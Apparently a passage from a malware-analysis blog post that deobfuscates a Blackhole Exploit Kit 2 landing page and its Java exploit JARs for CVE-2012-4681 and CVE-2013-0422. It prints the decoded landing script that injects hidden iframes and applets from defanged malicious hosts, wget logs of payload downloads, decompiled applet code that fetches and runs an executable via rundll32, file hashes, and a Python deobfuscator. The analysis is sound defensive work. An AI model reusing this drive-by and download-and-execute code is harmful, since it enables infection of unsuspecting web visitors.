20%3Cntflka%3D%3E%27%3B%0A%7D%0A%0A%0AVmH%3DlaPa%203Z2%2B%28%29%0A%7B%0A%09VS%20%28L_4ej%29%20I_hkUhW%28G_ddPNHPH%206%20%27%26XzL%27%29%3B%0A%7D%0A%0Aykjbp1ef%20tLD5%28%29%0A%7B%0A%09JS%20%28N_WSj%29%209_Y6xfy%28i_h4eS%2BBV%29%3B%0A%7D%0A%0A%0AXVaGeMka%20%3DQe5%28%29%0A%7B%0A%09ee%20%28f_4ef%29%20q_IJWQp%28N_WPkNQGw0%20%27%26g%2FY%27%29%3B%0A%7D%0A%0Aykf9QagO%20%3DS9w%28%29%0A%7B%0A%09eS%20%28W_C8f_emZxn%20%3C%20b_7Mh_UOg%29%0A%09%7B%0A%09%09N_LTl_VaFxn69%3B%0A%09%0A%09%09rth%20SiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09%09ey%20%28Q6IAq%29%0A%09%09%7B%0A%09%09%09nBe%20LeGkQR%20o%20c_W9olaB%28%29%3B%0A%09%09%09SiLVq.JaWPVp1RH7ha%28I_YlfSH%28ElUPQI%29%2C%20LskQl.H1hos%2F0Yd%2B%29%3B%0A%09%09%7D%0A%09%7D%0A%7D%0A%0ACmfDgMZR%20F_b8P1%28X%2BnZE%29%0A%7B%0A%09%0A%09YX%20%28D_Igf%29%20x_Y8PTy%28W_YCvSaro%29%3B%0A%09%0A%091V%20%28ZiLVq%29%0A%09%7B%0A%09%09WNV%20SXYbQG%20S%20%27%27%3B%0A%09%09%0A%09%09Yb%20%28mWBYY7Qgj.KNZLvjNONxT%28%29%29%0A%09%09%7B%0A%09%09%09%0A%09%09%09dsY7TW%20g%20t_Y5Qcy9_C%28%29%206%209_Tp8fDK_T%28%29%20Q%20%3D_YhMh%3Dz%28%29%3B%0A%09%09%09%0A%09%09%09VJ%20%28U_Pka%29%209_NkUl1%28f_4ZSP%2Bgf%29%3B%0A%09%09%09%0A%09%09%09I1SOc.eafG%2Bj%2Bdb7hW%28q_%3DKhBa%28LeGkQR%29%2C%20JUeZx.b1hkNmZaMQ%29%3B%0A%09%09%7D%0A%09%09IWWa%0A%09%09%7B%0A%09%09%09VS%20%28L_4ej%29%20I_hkUhW%28G_dbBiEZJb%29%3B%0A%09%09%7D%0A%09%09%0A%09%7D%0A%7D%0A%0AShPvjenj%20c_e7L%28%29%0A%7B%0A%09FX%20%28b_MbEOIZ%29%20eRVAhj%3B%09%0A%09%0A%09uW%2B%20cqiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09ey%20%28cqiLVq%29%0A%09%7B%0A%09%09K_YSLHaQ%20z%20V%2Bka%3B%0A%09%09I_kbda%28GV6gEl%29%3B%0A%09%7D%0A%09IWWa%0A%09%7B%0A%09%09fRVmYidkAj%28%22B_Imj%22%2C%20tbn%29%3B%0A%09%7D%0A%7D%0A%0AJfRYgVQ6%20MkmH%28y%29%0A%7B%0A%09lSL%20MjWW%20z%20aTRZbj.Q6bkZZ%3B%0A%09CYf%2BLo.gOYSLH%208%20ShPvjenj%28%29%20%7B%201V%20%28hLBn%29%20hSRZ%28%29%3B%20Q%28%29%3B%20%7D%0A%7D%0A%0AAka%2F%28y_75n%29%3B%0Ara%3DJaGBgmU%28%229_S0V%28%29%22%2C%203nnc%29%3B%0A%0A'));

OK another round of cleaning

var s = 'BQj%20D_Igf%09%09%09n%20gVfI%3B%0ArNe%20L_Ahh%09%09%09%2F%20%27d%3Djh%3AfiSfJgEeIhRPQ5.Skl.X%2B1.sViafERb.aLl%27%3B%0AiNT%202_bWbYxik%09%09g%20G_mjM%20x%20%27%3FENXebao%2FjWso_tSU%2FPk%27%3B%0AnBe%20N_WNWiNQ6%09%092%20f_tn4%200%20%27%3FS9QagOzWeEpf_WCBQkm%27%3B%0Arth%20b_FGSnBbJQ%09%09q%20f_heN%20Q%20%27%3FQYse7d4MQSlT_WEgEkSS%27%3B%0AXth%20f_kh7QV%2FA%09%094%20b_VeP%20v%20%27%3FEYgVQ62osW%3Di_dI%2BVWE%27%3B%0A%0AiEc%20N_hbNFxT%09%098%20eW4iW%3B%0AP%2Bj%20b_BcT_TRZRk%09%09o%20H%3B%0AlWq%20f_tfh_9Kl%09%094%20cn%3B%0AZLV%20f_NcR_8ha%09%09%2F%20%27iH%27%3B%0AlSL%20G_ShQ_hVW%09%09q%20%27dggR%3AR1XZiuem.AO3.scy%27%3B%0A%0A%0AJfRYgVQ6%20%3D_c%3Dl8KJs%28%29%0A%7B%0A%09OWlVeR%20U_Elc_hT4%200%20f_Zl8_fj%2F%20h%20b_SQc_MYHak%20x%20%27.Lth%27%3B%0A%7D%0A%0AbtjvjaIK%20B_UwS%28WcGa%29%0A%7B%0A%09iNT%201Vn%20%09%09%09%09%2F%20Z7SmGBfl.DeILXa4YG5Ujs%28%27eyhSGB%27%29%3B%0A%09aXS.fVN%20%09%09%09%09q%20oePG%3B%0A%091Vn.rpEbW.PFkaCVPTXu%09z%20%27UKwTam%27%3B%0A%09eyh.kNVdW.EVWaPWl%09%09z%20%27K6bema%27%3B%0A%091Vj.MQqdF.ZEcKea%09%09z%20%27c%27%3B%0A%091Vn.rpEbW.J%2BVVJaK%09%09x%20%27e%27%3B%0A%09eSe.U%3Dohd.X7hV%2FO%09%094%20%27fPaI%27%3B%0A%09TJn.fga4U.shZ%3DX%09%09%094%20%27U%27%3B%0A%09FXj.TgcWI.dRVI0j%09%098%20%27z%27%3B%0A%09nxjmLK%20aXS%3B%0A%7D%0A%0ASYYGpVbP%20c_bNdlI%28kjF%29%0A%7B%0A%09SSj%20B1SOc%208%20QbEAcamp.ueVS%3B%0A%09FX%20%28SpbHj%29%0A%09%7B%0A%09%09E%2BbQa.1dodn%3D4W%3DLjW%28x_PzQ%28YnY%29%2C%20Nq7Tu.ee%2BiljEadE%29%3B%0A%09%7D%0A%7D%0A%0ASYYGpVbP%20c_SOoW6%28XlGI%29%0A%7B%0A%09nSS%20fTLR%208%20QbEAcamp.vhW7QW9MRQPRp%28%27fcC6%27%29%3B%0A%09ilZj.1df%2FO%3DL0%2F%20q%20SXiY%3B%0A%09eG%3Dknm%20o8Qf%3B%0A%7D%0A%0A%3DRfUUVSY%200_c0cRaB%28%29%0A%7B%0A%09ndpAhf%20%27%3C7MhdFg%20RLQaz%229CBQ%28PL%29%20SxR%20KN%2Bjl%20oPXTZaK%202Q6jnnh%22%20veV%2Fj%22et.DYEdW%22%20WePJ1la%2F%22%27%206%20c_W5JMMJz%28%29%20x%20%27%22%20aTHpUz%22c%22%200Uefd%3D2%22s%22%20%20MQqdFz%22ZTWeOVN1ju%3A%20gewTWH%22%20JSqTPVTTpz%22gTAU%22%3E%09%3ClZntc%20f7JW4%22MVRV%22%20ZWYhGS%22Xpsl%3AR1zW.bt.tkp.fmk7.nonnf.Yoh%3Bvfd%3BU%22%3E%20%3CihSSNQ%3E%3CwElcYG%3D%3E%27%3B%0A%7D%0A%0AVqmY%3DYgH%20t_Y5Qcy9_C%28%29%0A%7B%0A%09nRgW%2Bd%20%27%3CWol4Ul%20H%2BeWn%229EgE%28P%3D%29%20JGu%20IpZn%3D%203UNFnW%2F%202SYXnbY%22%20E7Ta%2F%22iH.Sd7Pk%22%20SSPLTZaz%22%27%20x%20L_tfl_tn4%200%20%27bB%2Bf.bBe%3FVx%27%20o%20INgJ.ybknn%28HqsUXs%202%20%280NXS.VWaQQ5%28%29%2Az585Pz%202%20V%29%29%20h%20%27%22%20oaEgLx%22e%22%20dRVI0j8%22z%22%20%20o%3Dod%2Fj%22naTVFTPegl%3A%20J1TZdj%22%3E%20%3C8Qj7J%20fSNRq%22WMjX%22%20iC4ka%2F%22d%3Djh%3Afizu.fo.fug.xotn.Gr7Tl.vfd%3B9Md%3Bs%22%3E%20%3CmcEcEi%3E%20%3CyNR8bas%3E%27%3B%0A%7D%0A%0AbAdUNFgf%20x_TraTD%2F_K%28%29%0A%7B%0A%09Txjqqj%20%27%3CtfhFBl%20fBZIx%220WiN%288f%29%20Maa%20O%3DQjN%20kUlJiII%20tkagT7b%22%20YnZx2%22eV.%3DdSTf%22%20EcGdViGS%22%27%200%20f_Zl8_kjF%20h%20%27beY.WEc%3FV8%27%20x%20%3DC%3DX.bkk7h%28tUXssb%20x%20%283LXd.eNPwei%28%29%2A85Pz1d%20h%20t%29%29%202%20%27%22%20XVHeL8%22n%22%20UG1Wds8%22G%22%20%20ilSIW4%22WVWTFeYVVE%3A%20XecZxd%22%3E%20%3Ch7OSe%20ONQPq%22hVaM%22%20BQhtaS%22XlNM%3A33ip.im.f5p.odM1.w07nf.UJI%3BUhM%3Bn%22%3E%20%3CpaEnNZ%3E%20%3Cntflka%3D%3E%27%3B%0A%7D%0A%0A%0AVmH%3DlaPa%203Z2%2B%28%29%0A%7B%0A%09VS%20%28L_4ej%29%20I_hkUhW%28G_ddPNHPH%206%20%27%26XzL%27%29%3B%0A%7D%0A%0Aykjbp1ef%20tLD5%28%29%0A%7B%0A%09JS%20%28N_WSj%29%209_Y6xfy%28i_h4eS%2BBV%29%3B%0A%7D%0A%0A%0AXVaGeMka%20%3DQe5%28%29%0A%7B%0A%09ee%20%28f_4ef%29%20q_IJWQp%28N_WPkNQGw0%20%27%26g%2FY%27%29%3B%0A%7D%0A%0Aykf9QagO%20%3DS9w%28%29%0A%7B%0A%09eS%20%28W_C8f_emZxn%20%3C%20b_7Mh_UOg%29%0A%09%7B%0A%09%09N_LTl_VaFxn69%3B%0A%09%0A%09%09rth%20SiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09%09ey%20%28Q6IAq%29%0A%09%09%7B%0A%09%09%09nBe%20LeGkQR%20o%20c_W9olaB%28%29%3B%0A%09%09%09SiLVq.JaWPVp1RH7ha%28I_YlfSH%28ElUPQI%29%2C%20LskQl.H1hos%2F0Yd%2B%29%3B%0A%09%09%7D%0A%09%7D%0A%7D%0A%0ACmfDgMZR%20F_b8P1%28X%2BnZE%29%0A%7B%0A%09%0A%09YX%20%28D_Igf%29%20x_Y8PTy%28W_YCvSaro%29%3B%0A%09%0A%091V%20%28ZiLVq%29%0A%09%7B%0A%09%09WNV%20SXYbQG%20S%20%27%27%3B%0A%09%09%0A%09%09Yb%20%28mWBYY7Qgj.KNZLvjNONxT%28%29%29%0A%09%09%7B%0A%09%09%09%0A%09%09%09dsY7TW%20g%20t_Y5Qcy9_C%28%29%206%209_Tp8fDK_T%28%29%20Q%20%3D_YhMh%3Dz%28%29%3B%0A%09%09%09%0A%09%09%09VJ%20%28U_Pka%29%209_NkUl1%28f_4ZSP%2Bgf%29%3B%0A%09%09%09%0A%09%09%09I1SOc.eafG%2Bj%2Bdb7hW%28q_%3DKhBa%28LeGkQR%29%2C%20JUeZx.b1hkNmZaMQ%29%3B%0A%09%09%7D%0A%09%09IWWa%0A%09%09%7B%0A%09%09%09VS%20%28L_4ej%29%20I_hkUhW%28G_dbBiEZJb%29%3B%0A%09%09%7D%0A%09%09%0A%09%7D%0A%7D%0A%0AShPvjenj%20c_e7L%28%29%0A%7B%0A%09FX%20%28b_MbEOIZ%29%20eRVAhj%3B%09%0A%09%0A%09uW%2B%20cqiLVq%20n%20QSNYiRaV.ueZx%3B%0A%09ey%20%28cqiLVq%29%0A%09%7B%0A%09%09K_YSLHaQ%20z%20V%2Bka%3B%0A%09%09I_kbda%28GV6gEl%29%3B%0A%09%7D%0A%09IWWa%0A%09%7B%0A%09%09fRVmYidkAj%28%22B_Imj%22%2C%20tbn%29%3B%0A%09%7D%0A%7D%0A%0AJfRYgVQ6%20MkmH%28y%29%0A%7B%0A%09lSL%20MjWW%20z%20aTRZbj.Q6bkZZ%3B%0A%09CYf%2BLo.gOYSLH%208%20ShPvjenj%28%29%20%7B%201V%20%28hLBn%29%20hSRZ%28%29%3B%20Q%28%29%3B%20%7D%0A%7D%0A%0AAka%2F%28y_75n%29%3B%0Ara%3DJaGBgmU%28%229_S0V%28%29%22%2C%203nnc%29%3B%0A%0A';
var alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var key1 = 'T79!$99(4+s+~44)T7~@=';
var c = 0;
    var la = '';
    var lb = -1;
    var lc = 0;
    var ld = unescape(s);
    for (var i = 0; i < ld.length; i++) {
        lb = alpha.indexOf(ld.charAt(i));
        if (lb >= 0) {
            lc = (lb - key1.charCodeAt(c)) % alpha.length;
            if (lc < 0) {
                lc += alpha.length;
            }
            la += alpha.charAt(lc);
            c++;
            if (c >= key1.length) {
                c = 0;
            }
        } else {
            la += ld.charAt(i);
        }
    }
console.log(la);

Hopefully last round of deobfuscation

var j_lon = true;
var j_url = 'hxxp: //anitatelecom.com.br/.01/index.php';
var j_laccess = j_url + '?action=stats_access';
var j_ljavaon = j_url + '?action=stats_javaon';
var j_ljavaoff = j_url + '?action=stats_javaoff';
var j_lloaded = j_url + '?action=stats_loaded';

var j_loaded = false;
var j_app_index = 1;
var j_app_cnt = 10;
var j_app_pre = 'm1';
var j_app_url = 'hxxp: //bambou.gr/.01/';


function J_gAppURL() {
    return j_app_url + j_app_pre + j_app_index + '.jar';
}

function J_cIf(srce) {
    var ifr = document.createElement('iframe');
    ifr.src = srce;
    ifr.style.visibility = 'hidden';
    ifr.style.display = 'inline';
    ifr.style.margin = '0';
    ifr.style.padding = '0';
    ifr.style.border = 'none';
    ifr.style.width = '0';
    ifr.style.height = '0';
    return ifr;
}

function J_lRep2(url) {
    var aBody = document.body;
    if (aBody) {
        aBody.insertBefore(J_cIf(url), aBody.firstChild);
    }
}

function J_cSpan(html) {
    var span = document.createElement('span');
    span.innerHTML = html;
    return span;
}

function J_gAppHL() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + J_gAppURL() + '" width="0" height="0"  style="visibility: hidden" mayscript="true"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param></applet>';
}

function J_gAppHL_Y() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + j_app_url + 'jhan.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param> </applet>';
}

function J_gAppHL_X() {
    return '<applet name="Java(TM) Web Start ActiveX Control" code="m1.class" archive="' + j_app_url + 'jmx.jar?r=' + Math.floor(100000 + (Math.random() * 999999 + 1)) + '" width="0" height="0"  style="visibility: hidden"> <param name="link" value="hxxp: //72.41.192.116/.01/Up.cpl;cpl;0"> </param> </applet>';
}


function MoLB() {
    if (j_lon) J_lRep2(j_lloaded + '&k=j');
}

function MoLA() {
    if (j_lon) J_lRep2(j_lloaded);
}


function MoLC() {
    if (j_lon) J_lRep2(j_lloaded + '&k=c');
}

function MoLF() {
    if (j_app_index < j_app_cnt) {
        j_app_index++;

        var aBody = document.body;
        if (aBody) {
            var htcode = J_gAppHL();
            aBody.insertBefore(J_cSpan(htcode), aBody.firstChild);
        }
    }
}

function J_oIni(hBody) {

    if (j_lon) J_lRep2(j_laccess);

    if (hBody) {
        var htcode = '';

        if (navigator.javaEnabled()) {

            htcode = J_gAppHL_Y() + J_gAppHL_X() + J_gAppHL();

            if (j_lon) J_lRep2(j_ljavaon);

            hBody.insertBefore(J_cSpan(htcode), hBody.firstChild);
        } else {
            if (j_lon) J_lRep2(j_ljavaoff);
        }

    }
}

function J_oCr() {
    if (j_loaded) return;

    var myBody = document.body;
    if (myBody) {
        j_loaded = true;
        J_oIni(myBody);
    } else {
        setTimeout("J_oCr", 100);
    }
}

function WonL(f) {
    var prev = window.onload;
    window.onload = function() {
        if (prev) prev();
        f();
    }
}

WonL(J_oCr);
setTimeout("J_oCr()", 7000);

Hurray! nice and clean JavaScript code

4. With the landing in sight

It's time to fetch the JARS

--2013-03-19 --  hxxp: //bambou.gr/.01/m11.jar
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "1117-5142ae10-0"
  Last-Modified: Fri, 15 Mar 2013 05:13:52 GMT
  Content-Type: application/java-archive
  Content-Length: 4375
  Vary: User-Agent
Length: 4375 (4.3K) [application/java-archive]
Saving to: `m11.jar'

     0K ....                                                  100%  333M=0s

2013-03-19  (333 MB/s) - `m11.jar' saved [4375/4375]


--2013-03-19 --  hxxp: //bambou.gr/.01/jhan.jar?r=136494
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "10cd-5142cb02-0"
  Last-Modified: Fri, 15 Mar 2013 07:17:22 GMT
  Content-Type: application/java-archive
  Content-Length: 4301
  Vary: User-Agent
Length: 4301 (4.2K) [application/java-archive]
Saving to: `jhan.jar'

     0K ....                                                  100%  118M=0s

2013-03-19 (118 MB/s) - `jhan.jar' saved [4301/4301]

--2013-03-19 --  hxxp: //bambou.gr/.01/jmx.jar?r=633478
Resolving bambou.gr... 199.16.131.122
Connecting to bambou.gr|199.16.131.122|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.0 200 OK
  Server: LiteSpeed
  Accept-Ranges: bytes
  Connection: close
  ETag: "1780-5142c906-0"
  Last-Modified: Fri, 15 Mar 2013 07:08:54 GMT
  Content-Type: application/java-archive
  Content-Length: 6016
  Vary: User-Agent
Length: 6016 (5.9K) [application/java-archive]
Saving to: `jmx.jar'

     0K .....                                                 100%  155M=0s

2013-03-19 00:45:39 (155 MB/s) - `jmx.jar' saved [6016/6016]

5. JAR file disassembly

jad(class files) is an excellent tool for this, use jd-gui(JAR files) if you like gui or go all the way and use showmycode.com(class files)

I'm not going into details on the JARs or classes. Here is whats interesting at this point: How to get the final payload of the kit:

From Init():

String str1 = rver("SRESULLA") + rver("ELIFORP");
String str2 = null;
boolean bool = false;
try
{
  str2 = _get__env(str1);
}
catch (Throwable localThrowable2)
{
  MoLF();
}
String str3 = getParameter("link");
String[] arrayOfString = str3.split(";");
String str4 = arrayOfString[0];
String str5 = arrayOfString[1];
String str6 = arrayOfString[2];
if (!str6.equals("0")) bool = true;
dl(str4, str2 + "\\jupdate.", str5, bool);

in short:
get ALLUSERPROFILE
get the value from the variable "link" from the landing pane: hxxp: //72.41.192.116/.01/Up.cpl
split on ";"
call dl()

dl()

public void dl(String paramString1, String paramString2, String paramString3, boolean paramBoolean) {
    paramString2 = paramString2 + paramString3;

    BufferedInputStream localBufferedInputStream = null;
    try
    {
      localBufferedInputStream = new BufferedInputStream(new URL(paramString1).openStream());
    }
    catch (IOException localIOException1)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException1);
    }
    FileOutputStream localFileOutputStream = null;
    try
    {
      localFileOutputStream = new FileOutputStream(paramString2);
    }
    catch (FileNotFoundException localFileNotFoundException)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localFileNotFoundException);
    }
    BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
    byte[] arrayOfByte = new byte[1024];
    try
    {
      int i;
      for (long l1 = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l1 += i) {
        cWrite(localBufferedOutputStream, arrayOfByte, i);
      }
      if (paramBoolean)
      {
        int j = (int)(Math.random() * 3080192.0D + 25493504.0D);
        for (long l2 = 0L; l2 < j; l2 += 1L) {
          localBufferedOutputStream.write(0);
        }
      }
    }
    catch (IOException localIOException2)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException2);
    }
    try
    {
      localBufferedOutputStream.close();
    }
    catch (IOException localIOException3)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException3);
    }
    try
    {
      localBufferedInputStream.close();
    }
    catch (IOException localIOException4)
    {
      Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, localIOException4);
    }
    if (paramString3.equals("cpl")) {
      paramString2 = "rundll32.exe shell32.dll,Control_RunDLL \"" + paramString2 + "\",";
    }
    if (!gRun(paramString2, false)) return;
    try
    {
      URL localURL = new URL("javascript:MoLB();");
      getAppletContext().showDocument(localURL);
      System.exit(0);
    }
    catch (IOException localIOException5) {
    }
  }

what happens:
get the evil code
save the evil code
run the evil code

And we could have got off more easy with just fetching the thing from the landing pane

6. Get the evil code

Connecting to 72.41.192.116:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Server: Apache
  Last-Modified: Mon, 18 Mar 2013 20:21:00 GMT
  ETag: "24f8e26-1c44c-5147772c"
  Accept-Ranges: bytes
  Content-Length: 115788
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Content-Type: text/plain
Length: 115788 (113K) [text/plain]
Saving to: `up.exe'

     0K .......... .......... .......... .......... .......... 44% 14.8K 4s
    50K .......... .......... .......... .......... .......... 88% 64.1K 1s
   100K .......... ...                                        100% 95.2K=4.3s

2013-03-19 (26.4 KB/s) - `up.exe' saved [115788/115788]

7. Detection

Not much changed since this report by MalwareSigs Only thing is amor1.jar has changed to m11.jar still with the same CVE's

8. Epilogue

It's nice to have survived 12 rounds in the ring with the Boss. Hopefully not Bossing us around the next time we see it :)

roundup of the bad stuff

m11.jar

MD5: 6834625b760045c6c19b515257b20658

VT: 3/45

CVE-2012-4681

jhan.jar

MD5: 39063df13e5d4f9b9f2a1cb24ab7f7f0

VT: 13/45

 CVE-2013-0422

jmx.jar

MD5: b011336a74517c9326386b648c122c62

VT: 6/45

CVE-2013-0422

exe:

MD5: 58905bcf16acd0dde8d267bf52a44a0d

VT: 20/45

Happy Bossing EK's around

Post publish reads:
Jar exploit download change seen by @Set_abominea: http://pastebin.com/Tt3uFnCT

Having fun reversing BHEK2 Java archives using Python

Having fun reversing BHEK2 Java Archives

- And since I need to learn more Python(not Monty that is) I just thought I would throw in a couple of Python scripts for the deobfuscation.

A couple of days back I looked into fetching the exploit files from the BHEK2.

While doing that excersise I got a couple of JAR archives. Lets look at one of them(They are almost identical anyway).

Now lets look into how the java code for this EK is built and what it does.

Just a reminder: I'm NO Java FU master so terminology and correctness might be sloppy. But I hope that we can get the job done.

0.First thing first: Unzip the JAR archive.  

$unzip 9_3.jar
/EK/cinema/9_3_jar$ unzip 9_3.jar 
Archive:  9_3.jar
   creating: META-INF/
  inflating: META-INF/MANIFEST.MF    
  inflating: hw.class                
  inflating: codehex.class           
  inflating: Impossible.class        
  inflating: RunnerGood.class        
  inflating: d.class                 
  inflating: Asd.class               
  inflating: test.class              
  inflating: test2.class

1. The Applet is where the adventure start, as that is whats called from the HTML code. 

Thats a class that extends java.lang.Applet. Since I have seen a couple of network traces of BHEK2 before I remember that to be hw.class.
To be able to read the source code of the class files we just unzipped, we need to reverse it from the Java byte code and back to readable source code.

showmycode.com is a nice tool for this! or if you prefer commandline: jad. Simpy "jad hw.class"

2. The applet - hw.class 

import java.applet.Applet;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class hw extends Applet
{

    public hw()
    {
    }

    public static String pah(String s)
    {
        return (new StringBuffer(s)).reverse().toString();
    }

    public static byte[] shy(String s)
    {
        byte abyte0[] = new byte[s.length() / 2];
        for(int i = 0; i < s.length(); i += 2)
        {
            byte byte0 = (byte)((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i + 1), 16));
            abyte0[i / 2] = byte0;
        }

        return abyte0;
    }

    public static Object rue(String s, String s1, Object obj)
        throws ReflectiveOperationException
    {
        return test2.rue2(s, s1, obj, new Class[0], new Object[0]);
    }

    public void init()
    {
        try
        {
            Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));
            Method method = codehex.lot(class1, "enter", true);
            Object obj = method.invoke(null, new Object[0]);
            Method method1 = codehex.lot(class1, "createClassLoader", false);
            Object obj1 = method1.invoke(obj, new Object[1]);
            byte abyte0[] = d.decodeH(test2.one());
            Class class2 = RunnerGood.bug(pah("redaoLssalCdetareneG.lanretn".concat("i.tpircsavaj.all".concat("izom.gro.nus"))));
            Method method2 = codehex.lot(class2, test2.dd, false);
            String str12 = d.get(this);
            if(str12.indexOf("::") == -1)
            {
                Class class3 = (Class)method2.invoke(obj1, new Object[] {
                    0, abyte0
                });
                Constructor localConstructor = class3.getConstructor(new Class[] {
                    java/lang/String
                });
                localConstructor.newInstance(new Object[] {
                    str12
                });
            } else
            {
                Class my_class = (Class)method2.invoke(obj1, new Object[] {
                    0, Asd.arrayOfByte2
                });
                my_class.newInstance();
                Method mmm = my_class.getMethod("r", new Class[] {
                    java/lang/String, java/lang/Class
                });
                float a = 0.0F;
                mmm.invoke(null, new Object[] {
                    str12, hw
                });
            }
        }
        catch(Exception e)
        {
            e.printStackTrace();
        }
    }

    public static String gouerpyftn(String paramString)
    {
        String str2;
        String str1 = Asd.getKkkk();
        str2 = "";
        for(int i = 0; i < paramString.length(); i++)
        {
            Object localObject = Character.valueOf(paramString.charAt(i));
            int j = str1.indexOf(localObject.toString());
            if(j != -1)
            {
                if(j != 0)
                {
                    localObject = Character.valueOf(str1.charAt(j - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                } else
                {
                    localObject = Character.valueOf(str1.charAt(str1.length() - 1));
                    str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
                }
            } else
            {
                localObject = Character.valueOf(paramString.charAt(i));
                str2 = (new StringBuilder(String.valueOf(str2))).append(localObject.toString()).toString();
            }
        }

        return str2;
        Exception exception;
        exception;
        return "";
    }
}

Links to the classes @ showmycode.com:

hw.class              
codehex.class        
Impossible.class      
RunnerGood.class      
d.class              
Asd.class            
test.class            
test2.class


To the fun stuff! Can we figure out what the bad guys are up to, even when they do not want us to.

3. init() is the start of an applet so here is where we have to start investigating.

Class class1 = RunnerGood.bug(pah((new StringBuilder(String.valueOf(RunnerGood.zz))).append("vaj.allizom.gro.n".concat("us")).toString()));

Here the last string is appended to the string zz from the class RunnerGood (public static String zz = "txetnoC.lanretni.tpircsa";) and then the method pah() is run with that string as input. pah() just reverses the string and we end up with "sun.org.mozilla.javascript.internal.Context"

That string is sent into the bug() method of class RunnerGood.
That method is trying to find a class. Note also that there are referenses to MbeanInstantiator which was the problem with one of the Java 0-Days in January: CVE-2013-0422. Excellent paper on that here, And as we can see that is the exact trick used.


Having fun yet? That was not so hard :)

Line 40: Method method = codehex.lot(class1, "enter", true);
returning a method based on the params given to it.

Line 41: instantiate obj.

The whole thing is repeated and obj1 is instantiated.

Line 44: looks like we are going to start with the strings
byte abyte0[] = d.decodeH(test2.one()); the bytearray abyte0 is set:

OK, a lot of strings to concatenate and process.

4. Making use of Python

Here is where I take some time to code som Python and came up with the script below. I just grepped for the strings, redirected them to a file and renamed them. Swapped concat with "+" and cleaned it up a bit. Then I implemented the methods/functions.

getKkkk()

gouerpyftn(paramString)

one()

decodeH(paramString)

# malforsec BHEK Java deobfuscation 0.9

#Key
def getKkkk():
  str1 = "b12gO6%oh3}lfs98^mYauL5{qiy)RKpk40(VXBrtW&DzCFA-JndU_eZwTNHc+7QMx*vIPSGE"
  return str1;

#Deobfuscate main
def gouerpyftn(paramString):
  str1 = getKkkk()
  str2 = ""
  for i in range (0, len(paramString), 1):  
    c = paramString[i]
    j = str1.find(c)
    if j != -1:
      if j != 0:
        str2 += str1[(j-1)]
      else:
        str2 += str1[len(str1)-1]
    else:
      str2 =+ paramString[i]
  return str2

def one():
  str1 = impossible_str17 + test_str114 + test_str116 + test_str119 + asd_str122 + asd_str123 + asd_str124 + asd_str125
  return str1

def decodeH(paramString):
  str1 = ""
  for i1 in range(0, (len(paramString)/2), 1):
# Lets shorten the code a bit here and drop the codehex.ttt call
#    arrayOfByte[i1] = codehex.ttt(paramString, i1);
    str1 += str(chr(int(paramString[(i1*2):((i1*2)+2)], 16)))
  return str1

test2_str1 = "F-Abr-rb((((((}g((Ar(-(((8((0r(8((}}((0F(^((0z(-"
test2_str2 = "(((%((0b(^((0A(Q(({((^(({2(-(((%(({g(Q(({"
test2_str3 = "}(-(({0(({{(Q(({%(-(({Q(({^(Q(({8(-(((z((0r(}("
test2_str4 = "((A0g0((}((Q-2g(((-(((z(({-(Q(({r(-((2g((0r"
test2_str5 = "(-((2g(({F(^(({z(-((2g(({b(-((2g(({A(^((%((-(({Q("
test2_str6 = "(%2(^((%g(-((gF(({A(Q((%}(-((2F((%0(-((2F((%{(-((%%((%"
test2_str7 = "Q(^((%^(-((%%((%8(^((%-(-((gF((%r(^((%F(Q((%z(-((g{((%0(-((%"
test2_str8 = "b((%A(-((g{((Q((-((%b((Q2(-((g{((Q2(-((Qg((Q}(Q((Q0(^(("
test2_str9 = "Q{(^((Q%(^((QQ(^((Q^(-((Qg((Q8(-(({Q((Q-(Q((Qr(Q((QF(2"
test2_str10 = "(((2%2(2((2g0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%b%Q}r(2(((%}F"
test2_str11 = "%8%b%8Q0}b(2((2{g^0F%-%2Q%%2gA%F%2%b%QgA{}Q0Qg%8%"
test2_str12 = "b%Q}rg8{%(2(((00}%A%0%{(2(((A0F%8%b%{0bQ{%z%g%{Qg{"
test2_str13 = "0%2%g%F%{(2(((z{}Q0%2%}%r0z%2Q({0%2%g%F%{(Q((Qr(Q(("
test2_str14 = "Q0(Q(({%(2(((}QgQ{%b(2((20g^g80F%-%2Q%%2gA%F%2%b%QgA0A%g%"
